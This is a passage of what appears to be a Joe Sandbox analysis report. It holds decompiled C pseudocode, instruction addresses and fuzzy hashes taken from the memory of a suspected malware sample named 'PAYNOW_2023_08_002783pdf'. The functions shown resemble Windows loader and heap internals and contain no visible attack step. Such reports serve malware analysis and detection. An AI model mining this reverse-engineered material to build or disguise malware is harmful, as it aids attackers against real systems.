								 *(_t260 + 0x30) = 0x4000;
								_t192 = 0x4000;
							}
							_t193 = _t192 << 0xa;
						} else {
							_t193 = 0x1000;
						}
						 *(_t233 + 0x8c) = _t193;
						_t32 = _t233 + 0x6c; // 0x6c
						_push( *((intOrPtr*)(_t260 + 0x94)));
						_t195 = E334940F0(_t233, _t255, _t260, _t274);
						_t275 = _t195;
						if(_t195 == 0 || E334B1A3B(_t260,  *((intOrPtr*)(_t260 + 0x60)), _t275,  &_v28) != 0) {
							goto L46;
						} else {
							if(( *(_t260 + 0x40) & 0x00004000) != 0) {
								 *((intOrPtr*)(_t233 + 0x11c)) = 0x335641d8;
							} else {
								if(( *(_t260 + 0x40) & 0x00008000) != 0) {
									_t125 = _t233 + 0x120; // 0x120
									 *((intOrPtr*)(_t233 + 0x11c)) = _t125;
								}
							}
							_t241 = 0x800;
							 *((intOrPtr*)(_t233 + 0x14)) = _v20;
							 *(_t233 + 0x88) = _t255;
							 *(_t233 + 0xd4) = 0x800;
							 *((intOrPtr*)(_t233 + 0x2c)) = 0xffff;
							 *((intOrPtr*)(_t233 + 0x28)) = 0xc00d0000;
							 *((intOrPtr*)(_t233 + 0x24)) = 0xc0120000;
							_t199 =  *(_t260 + 0x40);
							if((_t199 & 0x00000400) != 0) {
								_t241 = 0xc00;
								 *(_t233 + 0xd4) = 0xc00;
								goto L22;
							} else {
								if((_t199 & 0x00000002) == 0) {
									__eflags = _t199 & 0x00000008;
									if((_t199 & 0x00000008) == 0) {
										__eflags = _t199 & 0x00000001;
										if((_t199 & 0x00000001) == 0) {
											L22:
											_t242 = _v16;
											 *(_t233 + 0xd4) =  *(_t260 + 0x40) & 0x34133024 | _t241;
											 *((intOrPtr*)(_t233 + 0x118)) =  *((intOrPtr*)(_t260 + 0x6c));
											 *((intOrPtr*)(_t233 + 0xa0)) =  *((intOrPtr*)(_t233 + 0x9c));
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											_t261 = 0;
											 *((intOrPtr*)(_t233 + 0xd0)) =  *((intOrPtr*)(_t242 + 0x3c));
											 *((intOrPtr*)(_t233 + 0x94)) =  *((intOrPtr*)(_t242 + 0x38));
											 *((intOrPtr*)(_t233 + 0x98)) =  *((intOrPtr*)(_t242 + 0x34));
											_t73 = _t233 + 0xa4; // 0xa4
											_t208 = _t73;
											 *((intOrPtr*)(_t208 + 4)) = _t208;
											 *_t208 = _t208;
											_t75 = _t233 + 0xb4; // 0xb4
											_t209 = _t75;
											 *((intOrPtr*)(_t233 + 0xb4)) = 0;
											 *((intOrPtr*)(_t233 + 0xac)) = _t209;
											 *((intOrPtr*)(_t233 + 0xb0)) = _t209;
											_t79 = _t233 + 0xc0; // 0xc0
											_t210 = _t79;
											 *((intOrPtr*)(_t233 + 0xc0)) = 0;
											 *((intOrPtr*)(_t233 + 0xb8)) = _t210;
											 *((intOrPtr*)(_t233 + 0xbc)) = _t210;
											_t83 = _t233 + 0xcc; // 0xcc
											_t211 = _t83;
											 *((intOrPtr*)(_t233 + 0xcc)) = 0;
											 *((intOrPtr*)(_t233 + 0xc4)) = _t211;
											 *((intOrPtr*)(_t233 + 0xc8)) = _t211;
											_t87 = _t233 + 0x14c; // 0x14c
											_t212 = _t87;
											 *((intOrPtr*)(_t212 + 4)) = _t212;
											 *_t212 = _t212;
											_t89 = _t233 + 0x154; // 0x154
											_t213 = _t89;
											 *((intOrPtr*)(_t213 + 4)) = _t213;
											 *_t213 = _t213;
											_push(0);
											 *((intOrPtr*)(_t233 + 0x10)) =  *((intOrPtr*)(_t242 + 0x28));
											_push("true");
											 *((intOrPtr*)(_t233 + 0x40)) =  *((intOrPtr*)(_t242 + 0x60));
											_push(0);
											 *((intOrPtr*)(_t233 + 0x100)) =  *((intOrPtr*)(_t242 + 0x4c));
											_t97 = _t233 + 0x60; // 0x60
											_push(0x1f0003);
											if(L334B2E30() < 0) {
												goto L47;
											}
											_push(0);
											_push("true");
											_push(0);
											_push(0x1f0003);
											_t98 = _t233 + 0x64; // 0x64
											if(L334B2E30() < 0) {
												goto L47;
											}
											_t99 = _t233 + 0x48; // 0x48
											E3349FBC0(_t99, 0, 0);
											 *((intOrPtr*)(_t233 + 0x44)) = 0;
											 *((intOrPtr*)(_t233 + 0xd8)) = 1;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											return _t233;
										}
										_t241 = 0x801;
										L21:
										 *(_t233 + 0xd4) = _t241;
										 *((intOrPtr*)(_t233 + 0x74)) = _v28;
										 *((intOrPtr*)(_t233 + 0x78)) = _v24;
										goto L22;
									}
									_t241 = 0x808;
									 *(_t233 + 0xd4) = 0x808;
									 *((intOrPtr*)(_t233 + 0x7c)) = _v28;
									 *((intOrPtr*)(_t233 + 0x80)) = _v24;
									goto L22;
								}
								_t241 = 0x802;
								goto L21;
							}
						}
					}
					_t255 = _a4;
					_t243 = 0;
					if(_t255 == 0) {
						goto L12;
					} else {
						goto L11;
					}
					do {
						L11:
						 *((short*)( *(_t233 + 0x178) + _t243 * 4)) = 0;
						 *( *(_t233 + 0x178) + 2 + _t243 * 4) = _t243;
						_t243 = _t243 + 1;
					} while (_t243 < _t255);
					goto L12;
				}
			}

0x334b176f
0x334b1773
0x334b1777
0x334b177a
0x334b1780
0x334e9b84
0x334e9b84
0x334b1791
0x334b1791
0x334b1793
0x334b1795
0x334b1799
0x00000000
0x00000000
0x334b1a29
0x334b1a29
0x334b179f
0x334b17a2
0x334b17a5
0x334b17ac
0x334e9b8e
0x334e9b92
0x334e9ba1
0x334e9ba8
0x334e9bad
0x334e9bb5
0x334e9bbb
0x334e9b94
0x334e9b94
0x334e9b96
0x334e9b99
0x334e9b99
0x00000000
0x334b17b2
0x334b17b7
0x334b17b7
0x334b17b9
0x334b17bf
0x00000000
0x00000000
0x334b1a30
0x334b1a30
0x334b17c5
0x334b17c8
0x334b17cb
0x334b17ce
0x334b17e4
0x334b17e9
0x334b17ec
0x334b17f0
0x334b1a37
0x00000000
0x334b1a37
0x334b1808
0x334b180d
0x334b1815
0x334e9c7c
0x334e9c7c
0x334e9c7c
0x334e9c7e
0x334e9c7e
0x334e9c82
0x334e9c84
0x334e9c87
0x334e9c8c
0x334e9c8c
0x334e9c8f
0x334e9c93
0x334e9c95
0x334e9c98
0x334e9c9d
0x334e9c9d
0x334e9ca0
0x334e9ca6
0x334e9ca8
0x334e9cb5
0x334e9cb5
0x334e9cba
0x334e9cc0
0x334e9cc2
0x334e9ccf
0x334e9ccf
0x334e9cd6
0x334e9cdb
0x334e9cdf
0x334e9ce4
0x334e9ce8
0x334e9ced
0x334e9cf1
0x334e9d01
0x00000000
0x334e9d01
0x334b181d
0x334e9bc6
0x334e9bc9
0x334e9bd0
0x334e9bd5
0x334e9bd7
0x00000000
0x00000000
0x334e9bef
0x334e9bf4
0x334e9bfa
0x334e9bfc
0x00000000
0x00000000
0x334e9bfe
0x334b1848
0x334b1848
0x334b1850
0x334b1852
0x334e9c06
0x334e9c08
0x334e9c0a
0x334e9c0d
0x334e9c0d
0x334e9c0f
0x334b1858
0x334b1858
0x334b1858
0x334b185d
0x334b1863
0x334b1866
0x334b186d
0x334b1872
0x334b1874
0x00000000
0x334b1890
0x334b1897
0x334e9c17
0x334b189d
0x334b18a4
0x334e9c26
0x334e9c2c
0x334e9c2c
0x334b18a4
0x334b18ad
0x334b18b2
0x334b18b5
0x334b18bb
0x334b18c1
0x334b18c8
0x334b18cf
0x334b18d6
0x334b18de
0x334e9c37
0x334e9c3c
0x00000000
0x334b18e4
0x334b18e6
0x334e9c47
0x334e9c49
0x334e9c6a
0x334e9c6c
0x334b1901
0x334b190e
0x334b1911
0x334b191d
0x334b1929
0x334b192f
0x334b1930
0x334b1931
0x334b1932
0x334b1936
0x334b1938
0x334b1946
0x334b194f
0x334b1955
0x334b1955
0x334b195b
0x334b195e
0x334b1960
0x334b1960
0x334b1966
0x334b196c
0x334b1972
0x334b1978
0x334b1978
0x334b197e
0x334b1984
0x334b198a
0x334b1990
0x334b1990
0x334b1996
0x334b199c
0x334b19a2
0x334b19a8
0x334b19a8
0x334b19ae
0x334b19b1
0x334b19b3
0x334b19b3
0x334b19b9
0x334b19bc
0x334b19c1
0x334b19c2
0x334b19c8
0x334b19ca
0x334b19d0
0x334b19d1
0x334b19d7
0x334b19da
0x334b19e3
0x00000000
0x00000000
0x334b19e9
0x334b19ea
0x334b19ec
0x334b19ed
0x334b19ee
0x334b19f9
0x00000000
0x00000000
0x334b1a01
0x334b1a05
0x334b1a0a
0x334b1a12
0x334b1a1e
0x334b1a1f
0x334b1a20
0x334b1a21
0x00000000
0x334b1a21
0x334e9c72
0x334b18ef
0x334b18ef
0x334b18f8
0x334b18fe
0x00000000
0x334b18fe
0x334e9c4b
0x334e9c50
0x334e9c59
0x334e9c5f
0x00000000
0x334e9c5f
0x334b18ec
0x00000000
0x334b18ec
0x334b18de
0x334b1874
0x334b1823
0x334b1826
0x334b182a
0x00000000
0x00000000
0x00000000
0x00000000
0x334b182c
0x334b182c
0x334b1834
0x334b183e
0x334b1843
0x334b1844
0x00000000
0x334b182c

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f55aa7a5d5aa65bc84cea25d825c521d4a0ea6271015f5702b8c920a072bb9
Instruction ID: 78c2e312d49429d12860205c7c933398418c0c5016f8f064d1deb45637430966
Opcode Fuzzy Hash: 65f55aa7a5d5aa65bc84cea25d825c521d4a0ea6271015f5702b8c920a072bb9
Instruction Fuzzy Hash: F8D1F3B5A002149FDB41DF68C980B8A7BF9BF09340F0440BAED899F356E735E945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 3348F380 Relevance: .3, Instructions: 321
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E3348F380(signed int __ecx, signed short* __edx, signed char _a4, intOrPtr* _a8, signed int _a12) {
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				signed short* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed short* _v44;
				short _v46;
				char _v48;
				signed int _t105;
				void* _t107;
				char* _t110;
				signed int _t114;
				char* _t124;
				signed char* _t127;
				intOrPtr* _t132;
				signed short* _t138;
				signed short _t139;
				signed int _t146;
				signed int _t157;
				signed short* _t158;
				intOrPtr* _t159;
				intOrPtr _t160;
				signed int _t162;
				signed short* _t163;
				signed int _t164;
				intOrPtr _t171;
				signed int _t178;
				signed int _t190;
				signed short _t194;
				signed short _t197;
				signed short* _t200;
				intOrPtr _t201;
				signed int _t202;
				signed int _t205;
				signed int _t206;
				signed int _t209;
				signed short* _t213;
				intOrPtr _t214;
				signed short* _t215;
				signed int _t216;
				unsigned int _t218;
				signed int _t219;
				void* _t220;
				signed int _t225;
				signed int _t227;

				_t164 = __ecx;
				_t102 = __ecx;
				_v16 = __ecx;
				_t158 = __edx;
				_v28 = __edx;
				if(__ecx != 0) {
					L9:
					_t219 = 0;
					_v12 = 0;
					if(_t102 == 0) {
						L60:
						_t219 = 0x80000000;
						_v12 = 0x80000000;
						L16:
						L33482330(_t102, 0x33566668);
						_t105 = _t219 & 0x0000001f;
						_t159 =  *((intOrPtr*)(0x33565b80 + _t105 * 8));
						_t214 = 0x33565b80 + _t105 * 8;
						_v36 = _t214;
						_v24 = _t159;
						if(_t159 == _t214) {
							L49:
							_t220 = 0xc0000135;
							L30:
							E334824D0(0x33566668);
							_t215 = _v28;
							_t107 = L33483C40();
							if(_t215 == 0) {
								if(_t107 != 0) {
									_t110 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								} else {
									_t110 = 0x7ffe0384;
								}
								if( *_t110 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
									L34:
									return _t220;
								} else {
									if(L33483C40() == 0) {
										_t114 = 0x7ffe0385;
									} else {
										_t114 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									}
									if(( *_t114 & 0x00000020) != 0) {
										_push(0);
										_push(_v16);
										_push((_t114 & 0xffffff00 | _t220 > 0x00000000) - 0x00000001 & 3);
										L84:
										_push(0);
										E334F0227(0x14a0, 0);
									}
									goto L34;
								}
							}
							if(_t107 != 0) {
								_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t124 = 0x7ffe0384;
							}
							if( *_t124 != 0) {
								if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
									goto L34;
								}
								if(L33483C40() == 0) {
									_t127 = 0x7ffe0385;
								} else {
									_t127 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t127 & 0x00000020) == 0) {
									goto L34;
								} else {
									_push(0);
									_push(_t215);
									_push((_t164 & 0xffffff00 | _t220 > 0x00000000) - 0x00000001 & 3);
									goto L84;
								}
							} else {
								goto L34;
							}
						}
						do {
							_t160 = _t159 + 0xffffffc4;
							_v40 = _t160;
							if(_t219 !=  *((intOrPtr*)(_t160 + 0x90))) {
								goto L48;
							}
							if((_a4 & 0x00000008) != 0) {
								if(( *(_t160 + 0x34) & 0x00000001) == 0) {
									goto L48;
								}
							}
							_t200 = _v28;
							if(_t200 == 0) {
								if(( *(_t160 + 0x34) & 0x10000000) != 0) {
									goto L48;
								}
								if(E33491280(_v16, _t160 + 0x2c, ?str?) != 0) {
									L27:
									_t132 =  *((intOrPtr*)(_t160 + 0x50));
									if( *((intOrPtr*)(_t132 + 0xc)) != 0xffffffff) {
										if(( *( *_t132 - 0x20) & 0x00000020) == 0) {
											asm("lock inc dword [ebx+0x9c]");
										}
									}
									_t220 = 0;
									_t164 = _a12;
									 *_a8 = _t160;
									if(_t164 != 0) {
										 *_t164 =  *((intOrPtr*)( *((intOrPtr*)(_t160 + 0x50)) + 0x20));
									}
									goto L30;
								}
								goto L48;
							}
							_t164 =  *_t200 & 0x0000ffff;
							if(_t164 != ( *(_t160 + 0x24) & 0x0000ffff)) {
								goto L48;
							}
							_t138 = _t200[2];
							_t201 = _t138 + _t164;
							_v20 = _t201;
							if(_t138 >= _t201) {
								goto L27;
							}
							_t171 =  *((intOrPtr*)(_t160 + 0x28)) - _t138;
							_v32 = _t171;
							do {
								_t216 =  *_t138 & 0x0000ffff;
								_t162 =  *(_t171 + _t138) & 0x0000ffff;
								if(_t216 != _t162) {
									if(_t216 < 0x61) {
										L42:
										if(_t162 >= 0x61) {
											if(_t162 > 0x7a) {
												if( *0x33566914 == 0 || _t162 < 0xc0) {
													goto L43;
												} else {
													_t202 =  *0x33566914; // 0x7ffd0654
													_t178 =  *0x33566914; // 0x7ffd0654
													_t205 =  *0x33566914; // 0x7ffd0654
													_t201 = _v20;
													_t164 =  *((intOrPtr*)(_t205 + (( *(_t178 + (( *(_t202 + (_t162 >> 8) * 2) & 0x0000ffff) + (_t162 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t162 & 0x0000000f)) * 2)) + _t162 & 0x0000ffff;
													L44:
													if(_t216 != _t164) {
														_t219 = _v12;
														_t214 = _v36;
														goto L48;
													}
													_t171 = _v32;
													goto L25;
												}
											}
											_t164 = _t162 - 0x00000020 & 0x0000ffff;
											goto L44;
										}
										L43:
										_t164 = _t162;
										goto L44;
									}
									if(_t216 > 0x7a) {
										if( *0x33566914 != 0 && _t216 >= 0xc0) {
											_t206 =  *0x33566914; // 0x7ffd0654
											_t190 =  *0x33566914; // 0x7ffd0654
											_t209 =  *0x33566914; // 0x7ffd0654
											_t201 = _v20;
											_t194 =  *((intOrPtr*)(_t209 + (( *(_t190 + (( *(_t206 + (_t216 >> 8) * 2) & 0x0000ffff) + (_t216 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t216 & 0x0000000f)) * 2)) + _t216;
											L41:
											_t216 = _t194 & 0x0000ffff;
										}
										goto L42;
									}
									_t194 = _t216 - 0x20;
									goto L41;
								}
								L25:
								_t138 =  &(_t138[1]);
							} while (_t138 < _t201);
							_t160 = _v40;
							goto L27;
							L48:
							_t159 =  *_v24;
							_v24 = _t159;
						} while (_t159 != _t214);
						goto L49;
					}
					_t218 = ( *_t102 & 0x0000ffff) >> 1;
					_t163 =  *(_t102 + 4);
					if(_t218 == 0) {
						L15:
						if(_t219 == 0) {
							goto L60;
						}
						goto L16;
					} else {
						goto L11;
					}
					do {
						L11:
						_t225 =  *_t163 & 0x0000ffff;
						_t163 =  &(_t163[1]);
						_t218 = _t218 - 1;
						if(_t225 < 0x61) {
							L37:
							_t139 = _t225;
							goto L14;
						}
						if(_t225 > 0x7a) {
							_t164 =  *0x33566914; // 0x7ffd0654
							if(_t164 == 0 || _t225 < 0xc0) {
								goto L37;
							} else {
								_t146 =  *0x33566914; // 0x7ffd0654
								_t164 =  *0x33566914; // 0x7ffd0654
								_t139 =  *((intOrPtr*)(_t164 + (( *(_t146 + (( *(_t164 + (_t225 >> 8) * 2) & 0x0000ffff) + (_t225 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t225 & 0x0000000f)) * 2)) + _t225 & 0x0000ffff;
								goto L14;
							}
						}
						_t14 = _t225 - 0x20; // -32
						_t139 = _t14 & 0x0000ffff;
						L14:
						_t102 = _t139 & 0x0000ffff;
						_t219 = _v12 * 0x1003f + (_t139 & 0x0000ffff);
						_v12 = _t219;
					} while (_t218 != 0);
					goto L15;
				}
				_t197 = __edx[2];
				_t227 =  *__edx & 0x0000ffff;
				_t213 = _t197 - 2 + _t227;
				if(_t213 <= _t197) {
					L8:
					_v44 = _t213;
					_t164 = _t213 - _t197 & 0x0000ffff;
					_v48 = _t227 - _t164;
					_v46 =  *((intOrPtr*)(_t158 + 2)) - _t164;
					_t102 =  &_v48;
					_v16 = _t102;
					goto L9;
				}
				while(1) {
					_t157 =  *_t213 & 0x0000ffff;
					if(_t157 == 0x5c || _t157 == 0x2f) {
						break;
					}
					_t213 = _t213 - 2;
					if(_t213 > _t197) {
						continue;
					}
					goto L8;
				}
				_t213 =  &(_t213[1]);
				goto L8;
			}

0x3348f380
0x3348f389
0x3348f38b
0x3348f38e
0x3348f390
0x3348f397
0x3348f3ec
0x3348f3ec
0x3348f3ee
0x3348f3f3
0x334c9292
0x334c9292
0x334c9297
0x3348f43d
0x3348f442
0x3348f449
0x3348f44c
0x3348f453
0x3348f45a
0x3348f45d
0x3348f462
0x3348f5a4
0x3348f5a4
0x3348f4fd
0x3348f502
0x3348f507
0x3348f50a
0x3348f511
0x3348f5c8
0x334c93d9
0x3348f5ce
0x3348f5ce
0x3348f5ce
0x3348f5d6
0x3348f52e
0x3348f535
0x334c93f6
0x334c93fd
0x334c940f
0x334c93ff
0x334c9408
0x334c9408
0x334c9417
0x334c941f
0x334c9421
0x334c942e
0x334c942f
0x334c942f
0x334c9438
0x334c9438
0x00000000
0x334c9417
0x3348f5d6
0x3348f519
0x334c9379
0x3348f51f
0x3348f51f
0x3348f51f
0x3348f527
0x334c9390
0x00000000
0x00000000
0x334c939d
0x334c93af
0x334c939f
0x334c93a8
0x334c93a8
0x334c93b7
0x00000000
0x334c93bd
0x334c93bf
0x334c93c9
0x334c93cd
0x00000000
0x334c93cd
0x00000000
0x00000000
0x00000000
0x3348f527
0x3348f470
0x3348f470
0x3348f473
0x3348f47c
0x00000000
0x00000000
0x3348f486
0x334c92a3
0x00000000
0x00000000
0x334c92a9
0x3348f48c
0x3348f491
0x3348f5e8
0x00000000
0x00000000
0x3348f5fa
0x3348f4da
0x3348f4da
0x3348f4e1
0x3348f5b4
0x3348f5ba
0x3348f5ba
0x3348f5b4
0x3348f4ea
0x3348f4ec
0x3348f4ef
0x3348f4f3
0x3348f4fb
0x3348f4fb
0x00000000
0x3348f4f3
0x00000000
0x3348f600
0x3348f497
0x3348f4a0
0x00000000
0x00000000
0x3348f4a6
0x3348f4a9
0x3348f4ac
0x3348f4b1
0x00000000
0x00000000
0x3348f4b6
0x3348f4b8
0x3348f4c0
0x3348f4c0
0x3348f4c3
0x3348f4ca
0x3348f55a
0x3348f56b
0x3348f56e
0x3348f586
0x334c930f
0x00000000
0x334c9323
0x334c9323
0x334c9341
0x334c934b
0x334c9357
0x334c935d
0x3348f572
0x3348f575
0x334c9365
0x334c9368
0x00000000
0x334c9368
0x3348f57b
0x00000000
0x3348f57b
0x334c930f
0x3348f58f
0x00000000
0x3348f58f
0x3348f570
0x3348f570
0x00000000
0x3348f570
0x3348f55f
0x334c92b5
0x334c92c9
0x334c92e7
0x334c92f1
0x334c92fd
0x334c9300
0x3348f568
0x3348f568
0x3348f568
0x00000000
0x334c92b5
0x3348f565
0x00000000
0x3348f565
0x3348f4d0
0x3348f4d0
0x3348f4d3
0x3348f4d7
0x00000000
0x3348f594
0x3348f597
0x3348f599
0x3348f59c
0x00000000
0x3348f470
0x3348f3fc
0x3348f3fe
0x3348f401
0x3348f435
0x3348f437
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x3348f403
0x3348f403
0x3348f403
0x3348f406
0x3348f409
0x3348f40d
0x3348f550
0x3348f550
0x00000000
0x3348f550
0x3348f416
0x3348f538
0x3348f540
0x00000000
0x334c925a
0x334c9272
0x334c927b
0x334c928a
0x00000000
0x334c928a
0x3348f540
0x3348f41c
0x3348f41f
0x3348f422
0x3348f429
0x3348f42c
0x3348f42e
0x3348f431
0x00000000
0x3348f403
0x3348f399
0x3348f39c
0x3348f3a4
0x3348f3a8
0x3348f3c9
0x3348f3cc
0x3348f3d2
0x3348f3de
0x3348f3e2
0x3348f3e6
0x3348f3e9
0x00000000
0x3348f3e9
0x3348f3b0
0x3348f3b0
0x3348f3b6
0x00000000
0x00000000
0x3348f3bd
0x3348f3c2
0x00000000
0x00000000
0x00000000
0x3348f3c4
0x3348f3c6
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c5965d2c8ffaa55839096d5591017af5948460127111d1567e6a28b9af9fbe
Instruction ID: f21c2bddb7ecf30253278b4e79bc4b0c8aa14529a93f458f150bc815c128f1ab
Opcode Fuzzy Hash: f6c5965d2c8ffaa55839096d5591017af5948460127111d1567e6a28b9af9fbe
Instruction Fuzzy Hash: 38C11779A023109BEB04CF18D490B69B7B1FB48B44F594259EC519F396E736C942CB68

Uniqueness

Uniqueness Score: -1.00%

Function 334737E4 Relevance: .3, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E334737E4(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t108;
				intOrPtr _t111;
				intOrPtr _t112;
				char* _t122;
				signed short* _t132;
				signed short _t133;
				signed int _t134;
				intOrPtr _t135;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t145;
				intOrPtr* _t146;
				intOrPtr* _t147;
				intOrPtr* _t151;
				intOrPtr _t154;
				intOrPtr* _t157;
				intOrPtr _t170;
				intOrPtr _t172;
				signed int _t173;
				signed int _t174;
				intOrPtr _t175;
				intOrPtr _t178;
				signed short _t182;
				signed short _t183;
				signed int _t192;
				intOrPtr* _t195;
				short _t197;
				intOrPtr _t199;
				intOrPtr* _t202;
				intOrPtr _t203;
				void* _t204;

				_push(0x58);
				_push(0x3354bc28);
				E334C7BE4(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t204 - 0x50)) = __ecx;
				 *((intOrPtr*)(_t204 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t204 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t204 - 0x2c) = __edx & 0x00000001;
				_t108 = L3347B920(__ecx,  *((intOrPtr*)( *[fs:0x30] + 8)));
				if(_t108 == 0) {
					_t197 = 0xc000007b;
					L33:
					 *[fs:0x0] =  *((intOrPtr*)(_t204 - 0x10));
					return _t197;
				}
				_t168 =  *((intOrPtr*)(_t108 + 0x60));
				 *((intOrPtr*)(_t204 - 0x40)) =  *((intOrPtr*)(_t108 + 0x60));
				_t199 =  *((intOrPtr*)(_t108 + 0x64));
				 *((intOrPtr*)(_t204 - 0x34)) = _t199;
				_t111 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t111 != 0) {
					if(_t199 < _t111) {
						 *((intOrPtr*)(_t204 - 0x34)) = _t111;
					}
				}
				_t112 =  *0x33566644; // 0x0
				_t202 = L33485D90(_t168,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t112 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t204 - 0x20)) = _t202;
				 *((intOrPtr*)(_t204 - 4)) = 0;
				 *((intOrPtr*)(_t204 - 0x4c)) = 1;
				if(_t202 == 0) {
					L41:
					_t197 = 0xc0000017;
					 *((intOrPtr*)(_t204 - 0x1c)) = 0xc0000017;
					goto L29;
				} else {
					_t170 =  *0x33566644; // 0x0
					_t171 = _t170 + 0xc0000;
					 *((intOrPtr*)(_t204 - 0x54)) = _t170 + 0xc0000;
					_t172 = L33485D90(_t170 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t171,  *0x33566640 * 0x24);
					 *((intOrPtr*)(_t204 - 0x24)) = _t172;
					if(_t172 == 0) {
						_t197 = 0xc0000017;
						 *((intOrPtr*)(_t204 - 0x1c)) = 0xc0000017;
						_t202 =  *((intOrPtr*)(_t204 - 0x20));
						L29:
						 *((intOrPtr*)(_t204 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t204 - 0x4c)) = 0;
						E33473BA4(_t116, 0, _t197, _t202);
						if(_t197 < 0) {
							goto L33;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t204 - 0x50)))) = _t202;
						if(L33483C40() != 0) {
							_t122 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t197 =  *((intOrPtr*)(_t204 - 0x1c));
							_t202 =  *((intOrPtr*)(_t204 - 0x20));
						} else {
							_t122 = 0x7ffe0386;
						}
						if( *_t122 != 0) {
							L37:
							L33544DA7(_t202);
						}
						goto L33;
					}
					_t173 = 0;
					 *(_t204 - 0x28) = 0;
					_t203 =  *((intOrPtr*)(_t204 - 0x20));
					_t192 =  *0x33566640;
					while(_t173 < 3) {
						 *((intOrPtr*)(_t203 + 0x10 + _t173 * 4)) = _t192 * _t173 * 0xc +  *((intOrPtr*)(_t204 - 0x24));
						_t173 = _t173 + 1;
						 *(_t204 - 0x28) = _t173;
					}
					_t174 = 0;
					while(1) {
						 *(_t204 - 0x28) = _t174;
						if(_t174 >= _t192 * 3) {
							break;
						}
						_t157 = _t174 * 0xc +  *((intOrPtr*)(_t204 - 0x24));
						 *((intOrPtr*)(_t157 + 8)) = 0;
						 *((intOrPtr*)(_t157 + 4)) = _t157;
						 *_t157 = _t157;
						_t174 = _t174 + 1;
					}
					_t175 =  *0x33566644; // 0x0
					_t176 = _t175 + 0xc0000;
					 *(_t204 - 0x58) = _t175 + 0xc0000;
					_t116 = L33485D90(_t176 | 0x00000008,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t176 | 0x00000008, _t192 << 2);
					_t202 =  *((intOrPtr*)(_t204 - 0x20));
					 *((intOrPtr*)(_t202 + 0x1c)) = _t116;
					if(_t116 == 0) {
						goto L41;
					}
					_t178 =  *0x33566644; // 0x0
					_t179 = _t178 + 0xc0000;
					 *(_t204 - 0x5c) = _t178 + 0xc0000;
					_t116 = L33485D90(_t179 | 0x00000008,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t179 | 0x00000008,  *0x33566640 * 0xc);
					_t202 =  *((intOrPtr*)(_t204 - 0x20));
					 *((intOrPtr*)(_t202 + 0x20)) = _t116;
					if(_t116 == 0) {
						goto L41;
					}
					_t37 = _t202 + 0x110; // 0x110
					_t132 = _t37;
					 *(_t204 - 0x3c) = _t132;
					_t133 =  *_t132;
					 *(_t204 - 0x30) = _t133;
					if(_t133 == 0) {
						_t133 =  *0x7ffe03c0;
						 *(_t204 - 0x30) = _t133;
					}
					 *(_t204 - 0x38) = _t133;
					_t202 =  *((intOrPtr*)(_t204 - 0x20));
					 *(_t202 + 0x100) = _t133;
					_t197 = L33473722(_t202);
					 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
					if(_t197 < 0) {
						goto L29;
					} else {
						 *((intOrPtr*)(_t202 + 0x104)) = 0xfffffffe;
						 *(_t204 - 0x68) = 0;
						 *((intOrPtr*)(_t204 - 0x64)) = 0;
						_t182 =  *(_t204 - 0x30);
						_t134 = _t182 & 0x0000ffff;
						 *(_t204 - 0x68) = _t134;
						 *(_t202 + 8) = _t134;
						 *((intOrPtr*)(_t202 + 0xc)) = 0;
						 *_t202 = 1;
						if(_t182 < 4) {
							_push("true");
							_pop(_t183);
						} else {
							_t183 = _t182 + 1;
						}
						 *(_t204 - 0x30) = _t183;
						_t53 = _t202 + 0x28; // 0x28
						_t135 = _t53;
						 *((intOrPtr*)(_t204 - 0x44)) = _t135;
